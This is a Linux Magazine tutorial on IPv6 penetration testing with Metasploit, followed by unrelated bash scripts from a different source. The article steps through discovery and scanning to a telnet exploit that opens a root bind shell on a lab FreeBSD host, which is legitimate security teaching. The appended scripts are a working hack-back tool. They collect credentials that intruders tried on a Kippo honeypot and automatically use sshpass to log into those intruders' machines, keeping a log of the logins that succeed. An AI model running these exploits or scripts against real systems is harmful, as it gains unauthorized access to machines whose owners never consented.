Pen testing on IPv6 networks: In Through the Back Door
IPv6 Pen Testing
By Michael Messner
If you have enabled IPv6 on your network without considering basic security issues, you might have opened up a hole for attackers. In this article, we demonstrate a successful attack on a server via IPv6 and explain how the popular security tools handle IPv6.
Although the “next generation” IPv6 Internet protocol can already look back on more than 10 years of history, many companies are only now starting to migrate to the new version. Some experts have already begun to point out that IPv6 security has some unexpected complications for admins who are accustomed to IPv4 networks. One such under-mentioned problem is the need to lock down or turn off IPv6 services that might be running on an IPv4 or a dual IPv4/IPv6 network. Some modern systems enable IPv6 by default. Even if your network is primarily focused on IPv4, it is a good idea to pay some special attention to IPv6 in your pen testing. You might discover that your systems are vulnerable to exploits in IPv6 that aren’t available (or don’t appear) through conventional IPv4 pen tests.
In this article, I take a brief look at some IPv6 testing modules available through the Metasploit framework. In this case, I set up a scenario for my tests within our security testing lab; however, these techniques will help you search out other exploits hidden on your transitional IPv4/IPv6 mixed network.
Looking Around
All recent operating systems are capable of using the IPv6 protocol and often enable it by default. On Linux, you can verify that IPv6 is enabled with a simple test using  ifconfig or ip (Listing 1). The output for the interface configuration should contain at least one inet6 entry. If an IPv6-enabled router exists on the internal network, the system might already be configured with a global address in addition to the link-local address.
Listing 1: ifconfig and ip
01 [email protected]:~# ifconfig -a
02 eth0      Link encap:Ethernet  HWaddr 00:0c:29:7c:e7:6a
03           inet addr:  Bcast:  Mask:
04           inet6 addr: fe80::20c:29ff:fe7c:e76a/64 Scope:Link
05 […]
06 [email protected]:~# ip -6 addr
07 […]
08 1: lo:  mtu 16436

09     inet6 ::1/128 scope host

10        valid_lft forever preferred_lft forever

11 […]

12 2: eth0:  mtu 1500 qlen 1000

13     inet6 fe80::20c:29ff:fecf:6aba/64 scope link

14        valid_lft forever preferred_lft forever

The presence of an inet6 entry doesn’t automatically mean the computer is accessible from external addresses. The scope link in line 4 of Listing 1 means that the address is only used on the local subnet; it is not routed beyond router or network boundaries. Listing 2 shows what the configuration looks like when the network contains an IPv6-capable router.

Listing 2: Global Scope

inet6 addr: 2001:4dd0:fd42:3:20c:29ff:fe7c:e76a/64 Scope:Global**


inet6 addr: fd44:2011:1021:0:20c:29ff:fe7c:e76a/64 Scope:Global**


inet6 addr: fe80::20c:29ff:fe7c:e76a/64 Scope:Link**

A simple test of the IPv6 functions is to ping6 to the loopback interface:

[email protected]:~# ping6 ::1 -c1

PING ::1(::1) 56 data bytes

64 bytes from ::1: icmp_seq=1 ttl=255 time=0.052 ms

— ::1 ping statistics —

1 packets transmitted, 1 received, 0% packet loss, time 0ms

rtt min/avg/max/mdev = 0.052/0.052/0.052/0.000 ms

Just as with IPv4, you can ping the broadcast address (in IPv6, this is FF02::1; all the systems on the local network respond to this). Consequently, the following simple command already offers an initial overview of the local network:

[email protected]:~# ping6 ff02::1%2 | cut -d\  -f4






If you sort the output, remove duplicate entries with uniq, and redirect the results to a text file, you already have a good basis for further analysis.
IPv6 and Metasploit
Many well-known analysis tools are now ready to work with IPv6 systems. You can use Nessus, Nmap, and Wireshark to analyze IPv6-capable networks. Alive6, for instance, offers several tools for analyzing possible IPv6 vulnerabilities (see the sidebar titled “Alive6”). In this article, however, I will focus on Metasploit.

Listing 3: THC IPv6 Attack Toolkit
[email protected]:~# wget
[email protected]:~# tar xzf thc-ipv6-1.8.tar.gz
[email protected]:~# cd thc-ipv6-1.8
[email protected]:~# apt-get install libssl-dev
[email protected]: ~/thc-ipv6-1.8# make
[email protected]:~/thc-ipv6-1.8# ./alive6 eth0
Warning: unprefered IPv6 address had to be selected
Alive: fe80::20c:29ff:feec:1a8d
Alive: fe80::20c:29ff:fef5:b6b0
Alive: fe80::20c:29ff:fed9:71ca
Alive: fe80::20c:29ff:fe49:51bf
Alive: fe80::20c:29ff:fe46:8180
Found 19 systems alive
It is not surprising that the Metasploit penetration testing toolset is already largely IPv6 capable. Most auxiliary modules and exploits also work on IPv6-capable networks. Metasploit also includes a variety of IPv6 payloads and a number of special auxiliary modules for IPv6.
If you are new to Metasploit, a number of introductory articles are available at the Linux Magazine and ADMIN websites. In this article, I assume you have some familiarity operating from Metasploit’s msfconsole command-line interface.
Listing 4 shows how you can use the search command at the Metasploit console to find existing IPv6 modules.
Listing 4: search type:auxiliary ipv6 - (Sessions: 0 Jobs: 0)> search type:auxiliary ipv6
The three modules found in Listing 4 are suitable for scanning local IPv6 networks, as well as IPv4 networks. A typical approach is first to try ipv6_multicast_ping and then use ipv6_neighbor, which determines the corresponding IPv4 addresses for systems found.
Because IPv6 has several multicast addresses, you can target all routers with the destination address ff0X<_2 where="where" x="x" stands="stands" for="for" the="the" possible="possible" scope="scope" which="which" can="can" have="have" following="following" br="values:br"> ff01::2 All routers in interface-local

ff02::2 All routers in link-local

ff05::2 All routers in site-local

Use the ipv6_multicast_ping module to send an ICMP request to the IPv6 multicast addresses and discover the existing systems that listen on IPv6 addresses (Listing 5).

Listing 5: ipv6_multicast_ping - (Sessions: 0 Jobs: 0)> use auxiliary/scanner/discovery/ipv6_multicast_ping - (Sessions: 0 Jobs: 0) auxiliary(ipv6_multicast_ping) > show options

Module options (auxiliary/scanner/discovery/ipv6_multicast_ping):

   Name       Current Setting  Required  Description
   —-       —————  ——–  ———–
   INTERFACE                   no        The name of the interface
   SHOST                       no        The source IPv6 address
   SMAC                        no        The source MAC address
   TIMEOUT    5                yes       Timeout when waiting for host response. - (Sessions: 0 Jobs: 0) auxiliary(ipv6_multicast_ping) > run

[*] [2012.02.03-16:11:02] Sending multicast pings…
[*] [2012.02.03-16:11:07] Listening for responses…
[*] [2012.02.03-16:11:09]    |*| fe80::20c:29ff:fe4c:2f4d => 00:0c:29:4c:2f:4d
[*] Auxiliary module execution completed
The ipv6_neighbor module is designed for analysis on the local subnet. It tries to use the ARP protocol to discover active IPv4 addresses and then identifies corresponding IPv6 addresses for the systems. This process gives you a simple mapping between identified services and vulnerabilities between IPv4 and IPv6 traffic class addresses (Listing 6).
Listing 6: ipv6_neighbor - (Sessions: 0 Jobs: 0) auxiliary(ipv6_neighbor) > show options

Module options (auxiliary/scanner/discovery/ipv6_neighbor):

   Name       Current Setting    Required  Description
   —-       —————    ——–  ———–
   INTERFACE  eth0               no        The name of the interface
   RHOSTS       yes       The target address range or CIDR
   SHOST                         no        Source IP Address
   SMAC       00:0c:29:cf:6a:ba  yes       Source MAC Address
   THREADS    15                 yes       The number of concurrent threads
   TIMEOUT    500                yes       The number of seconds to wait - (Sessions: 0 Jobs: 0) auxiliary(ipv6_neighbor) > set SHOST
ru10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(ipv6_neighbor) > run

[*] [2012.02.03-16:13:11] Discovering IPv4 nodes via ARP…
[*] [2012.02.03-16:13:11] ALIVE
[*] [2012.02.03-16:13:12] ALIVE
[*] [2012.02.03-16:13:58] Discovering IPv6 addresses for IPv4 nodes…
[*] [2012.02.03-16:13:58]
[*] [2012.02.03-16:13:59] maps to fe80::20c:29ff:fe68:a4d2
[*] [2012.02.03-16:14:00] maps to fe80::20c:29ff:fe85:c24b
[*] Auxiliary module execution completed
The results obtained by this module are dumped by Metasploit into its own database below notes. Typing
filters the results.
Port Scan
You can also use Metasploit for a simple port scan (Listing 7).
Listing 7: Metasploit Portscan - (Sessions: 0 Jobs: 0)> use auxiliary/scanner/portscan/tcp - (Sessions: 0 Jobs: 0) auxiliary(tcp) > set RHOSTS fe80::20c:29ff:fe4c:2f4d - (Sessions: 0 Jobs: 0) auxiliary(tcp) > set PORTS ”7,21,22,23,25,43,50, - (Sessions: 0 Jobs: 0) auxiliary(tcp) > set THREADS 50 - (Sessions: 0 Jobs: 0) auxiliary(tcp) > run

[*] [2012.02.03-16:54:50] fe80::20c:29ff:fe4c:2f4d:53 - TCP closed
[*] [2012.02.03-16:54:50] fe80::20c:29ff:fe4c:2f4d:23 - TCP OPEN
[*] [2012.02.03-16:54:50] fe80::20c:29ff:fe4c:2f4d:50 - TCP closed
[*] [2012.02.03-16:54:50] fe80::20c:29ff:fe4c:2f4d:25 - TCP closed
Use the show options, set, use, RHOST, LHOST, and run commands to discover the target hosts and services. Metasploit adds them to its database, where you can quickly retrieve them using services.
In Listing 7, notice that Metasploit has uncovered a system that has left port 23 open. TCP port 23 corresponds to Telnet. You can then scan the Telnet port on a server, using services -p 23 -R and run, and Metasploit returns some information about the system:
fe80::20c:29ff:fe4c:2f4d 23 tcp telnet open FreeBSD/i386 (freebsd73.pwnme) (ttyp0)\x0d\x0a\x0d\x0alogin:
The BSD server used here has a vulnerability in its Telnet service that allows attackers to gain unauthorized root access without a password. Although the developers have patched this vulnerability in the meantime, the bug is still there in the original image – and also in many appliances based on BSD.
In the simplest case, select the required auxiliary module with use, and then run set rhosts to configure the IPv6 destination address. Finally, typing run triggers the scanning process (see Listing 8).
Listing 8: Identifying Vulnerabilities - (Sessions: 0 Jobs: 0)> use auxiliary/scanner/telnet/telnet_encrypt_overflow - (Sessions: 0 Jobs: 0) auxiliary(telnet_encrypt_overflow) > set RHOSTS fe80::20c:29ff:fe4c:2f4d
RHOSTS => fe80::20c:29ff:fe4c:2f4d - (Sessions: 0 Jobs: 0) auxiliary(telnet_encrypt_overflow) > run

[+] [2012.02.03-16:40:26] fe80::20c:29ff:fe4c:2f4d:23 VULNERABLE: FreeBSD/i386 (free.pwnme) (ttyp0)\x0d\x0a\x0d\x0alogin:
[*] [2012.02.03-16:40:26] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
A Successful Attack
The module confirms vulnerability. You can now run an exploit with an IPv6 bind payload against the IPv6 target address. The show payloads command shows compatible payloads for this exploit; you need to select one. On the local network only (Scope:Link), the IPv6 Reverse payload is of limited use because the attacker would need to specify the scope ID or the local interface of the target system. However these settings cannot normally be determined over the network. To finally start the attack, use set PAYLOAD bsd/x86/shell/bind_ipv6_tcp and exploit, which culminates in a root shell on the server (Listing 9).
Listing 9: Root Exploit Against Telnet on IPv6 - (Sessions: 0 Jobs: 0) exploit(telnet_encrypt_keyid) > set PAYLOAD bsd/x86/shell/bind_ipv6_tcp
PAYLOAD => bsd/x86/shell/bind_ipv6_tcp - (Sessions: 0 Jobs: 0) exploit(telnet_encrypt_keyid) > show options

Module options (exploit/freebsd/telnet/telnet_encrypt_keyid):
   Name      Current Setting           Required  Description
   —-      —————           ——–  ———–
   PASSWORD                            no        The password
   RHOST     fe80::20c:29ff:fe4c:2f4d  yes       The target address
   RPORT     23                        yes       The target port
   USERNAME                            no        The username to authenticate

Payload options (bsd/x86/shell/bind_ipv6_tcp):
   Name   Current Setting           Required  Description
   —-   —————           ——–  ———–
   LPORT  4444                      yes       The listen port
   RHOST  fe80::20c:29ff:fe4c:2f4d  no        The target address

Exploit target:
   Id  Name
   –  —-
   0   Automatic - (Sessions: 0 Jobs: 0) exploit(telnet_encrypt_keyid) > exploit
[*] [2012.02.03-16:29:56] Started bind handler
[*] [2012.02.03-16:29:56] Brute forcing with 9 possible targets
[*] [2012.02.03-16:29:56] Trying target FreeBSD 8.2…
[*] [2012.02.03-16:29:56] FreeBSD/i386 (free.pwnme) (ttyp0)\x0d\x0a\x0d\x0alogin:

[*] [2012.02.03-16:30:00] Sending first payload

[*] [2012.02.03-16:30:01] Sending second payload…

[*] [2012.02.03-16:30:01] Sending stage (46 bytes) to fe80::20c:29ff:fe4c:2f4d

[*] [2012.02.03-16:30:01] Trying target FreeBSD 7.0/7.1/7.2…

[*] Command shell session 1 opened (fe80::20c:29ff:fecf:6aba%eth0:45801 -> fe80::20c:29ff:fe4c:2f4d%eth0:4444) at 2012-02-03 16:30:02 +0100


uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)


An exploit against the Telnet service on the IPv6 address was successful; the attacker has root privileges on the server. Just to remind you: this example shows how a system that has no services and no vulnerabilities on its IPv4 address can be attacked and completely compromised via IPv6.


[1] THC IPV6 attack toolkit


Michael Messner works as a Senior IT Security Consultant with Integralis Deutschland GmbH, where he performs technical security analyses and penetration testing for renowned German companies. He is also a Metasploit Trainer and the author of the comprehensive Metasploit book, Metasploit – Guide to the Penetration Testing Framework.



In the US and Canada, Linux Magazine is known as Linux Pro Magazine.

© 2013 Linux New Media USA, LLC

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First we log all the connection attempts to my server(Live or new Virtual Machine) using the package called Kippo –

Then we create this file I called for latest).


 # Run this every day at least in order to get all the entries.
 # Run this before the logrotate does its work on the kippo log(You are rotating it right?) for the day/week/month$
 # Cron could be 44 min mark every hour so when it rotates at midnight you will not lose much data.

# Start a new log.
if [ -e /root/scripts/kippo_ssh_auths.log ]; then
 rm /root/scripts/kippo_ssh_auths.log

# Since I am only looking at the recent listings, only look at todays based on the date timestamp
todays_date=date +%F
# Only read todays and loop each line in the string
grep -i $todays_date /home/ris/kippo-0.5/log/kippo.log | while read -r line; do

 # Only read the lines that contain login auths and IPs. All in one line in this case.
 if [[ echo $line | grep -i "login attempt" ]]; then
  # Cut out the different parts.
  inIP=echo $line | grep -i "login attempt" | cut -d '[' -f 2 | cut -d ',' -f 3 | cut -d ']' -f 1
  inUSER=echo $line | grep -i "login attempt" | cut -d '[' -f 3 | cut -d '/' -f 1
  inPASS=echo $line | grep -i "login attempt" | cut -d '[' -f 3 | cut -d '/' -f 2 | cut -d ']' -f 1

  # Throw it all in together for outputing to a log of my own.
  #echo $output

  # IF we do not already have it in the log, append the info to it.
  if [ ! -e /root/scripts/kippo_ssh_auths.log ]; then
   touch /root/scripts/kippo_ssh_auths.log

  grep -q "$output" /root/scripts/kippo_ssh_auths.log
  if [ $? == 1 ]; then
   echo "$inIP|$inUSER|$inPASS" >> /root/scripts/kippo_ssh_auths.log

Then we can use the copy of /root/kippo_ssh_auths.log log to try and connect BACK to the door knockers machine and see if the login works.
If it does, add it to a success log(if new) and go on to the next one.
If it fails, ignore it. It will be deleted when we delete the copy of the log file at the end of the script.
I call this file


# This script will take mv the /root/scripts/kippo_ssh_auths.log log to /root/scripts/test_ssh_auths.log
# so we can safely work on it.

# After moving, it will go line by line and take the arguments and test them by ssh.
# If it works, the info will be written to another log, /root/scripts/valid_ssh_auths.log for any other usage.

# Suggest running at 45 min mark every hour. Right after the grab info script.

mv /root/scripts/kippo_ssh_auths.log /root/scripts/test_ssh_auths.log

# Old string seperator
# The one we want

while read line; do

 echo "Testing: $line"
 # Split the line into a array
# echo "$testip $testuser $testpass"

 # Use the tool sshpass to passthrough a password to ssh
 # How can I do this in parallel ?
sshpass -p "$testpass" ssh -q -o "StrictHostKeyChecking no" -l "$testuser" $testip "exit"
# sshpass -p "$testpass" ssh -o "StrictHostKeyChecking no" -l "$testuser" $testip "exit"

# echo "Return Code: $testssh"

 # sshpass will exit with code 0 if it logged in ok.
 # ?? I was testing it and had some errors using the script. It would exit with 5. If I did it manualy, it worked $
 if [ $testssh == 0 ]; then

  if [ ! -e /root/scripts/valid_ssh_auths.log ]; then
   touch /root/scripts/valid_ssh_auths.log

  grep -q "$output" /root/scripts/valid_ssh_auths.log
  if [ $? == 1 ]; then
   echo "$line" >> /root/scripts/valid_ssh_auths.log
   echo "Valid: $line"
   echo "NOT Valid: $line"

done < /root/scripts/test_ssh_auths.log;

# Change back the String Seperator

# Remove the log that we tested
rm /root/scripts/test_ssh_auths.log

Small script( for cron to make sure your Kippo is still running.
I noticed that the small VPS I was running would kill Kippo once awhile because I ran out of memory(32MB) and swap(32MB). So I tested every minute to see if needed starting again.


ps aux | grep -i twistd | grep -q -i kippo

if [ $code == 1 ]; then
 cd  /home/ris/kippo-0.5/
 sudo -u ris  /home/ris/kippo-0.5/
 echo "Started Kippo again."

Set your log rotation to cycle the Kippo log every 24 hours or my scripts will be re testing a lot of ssh connections.
Set your cron to run them whenever. I recommend just before the logrotate cycle. Just make sure it is sequenced right. Do the grab script first.

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